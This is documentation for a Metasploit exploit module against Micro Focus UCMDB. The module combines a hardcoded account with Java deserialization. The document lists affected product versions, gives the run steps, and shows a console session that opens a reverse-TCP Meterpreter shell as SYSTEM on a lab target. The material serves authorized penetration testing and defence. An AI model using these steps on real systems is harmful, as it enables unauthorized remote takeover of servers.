## Vulnerable Application

UCMDB is the vulnerable component, which is integrated into many Micro Focus products. MF have confirmed that the
following are affected by the hardcoded account vulnerability:

* Operation Bridge Manager versions: 2020.05, 2019.11, 2019.05, 2018.11, 2018.05, versions 10.6x and 10.1x and older
  versions
* Application Performance Management versions: 9.51, 9.50 and 9.40 with uCMDB 10.33 CUP 3
* Operations Bridge (containerized) versions: 2019.11, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05, 2018.02, 2017.11

An additional number of applications are vulnerable to the Java deserialization. Note that this module leverages both
vulnerabilities, so it should only work in the above.

Installation docs are available at:

* https://docs.microfocus.com/itom/Operations_Bridge_Manager:2020.05

Vulnerable versions of the software can be downloaded from Micro Focus website by requesting a demo.

Both Linux and Windows installations are affected.

All details about these vulnerabilities can be obtained from the advisory:

* https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md

## Verification Steps

1. Install the application
2. Start msfconsole
3. `use exploit/multi/http/microfocus_ucmdb_unauth_deser`
4. `set rhost TARGET'
5. `set lhost YOUR_IP`
6. `set target 0|1`
7. `run`
8. You should get a shell.

## Scenarios

```
msf > use exploit/multi/http/microfocus_ucmdb_unauth_deser
[*] Using configured payload windows/meterpreter/reverse_tcp
msf exploit(multi/http/microfocus_ucmdb_unauth_deser) > set rhost 10.0.0.100
rhost => 10.0.0.100
msf exploit(multi/http/microfocus_ucmdb_unauth_deser) > set lhost 10.0.0.1
lhost => 10.0.0.1
msf exploit(multi/http/microfocus_ucmdb_unauth_deser) > check
[+] 10.0.0.100:8443 - The target is vulnerable.
msf exploit(multi/http/microfocus_ucmdb_unauth_deser) > run

[*] Started reverse TCP handler on 10.0.0.1:4444
[*] 10.0.0.100:8443 - Attacking Windows target
[+] 10.0.0.100:8443 - Successfully authenticated and obtained our cookie!
[*] 10.0.0.100:8443 - Sending payload to /services/DataAcquisitionService
[+] 10.0.0.100:8443 - Success, shell incoming!
[*] Sending stage (175174 bytes) to 10.0.0.100
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.100:50733) at 2021-01-24 22:16:36 +0700

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 15244 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\HPBSM\ucmdb\bin>whoami
whoami
nt authority\system

C:\HPBSM\ucmdb\bin>
```
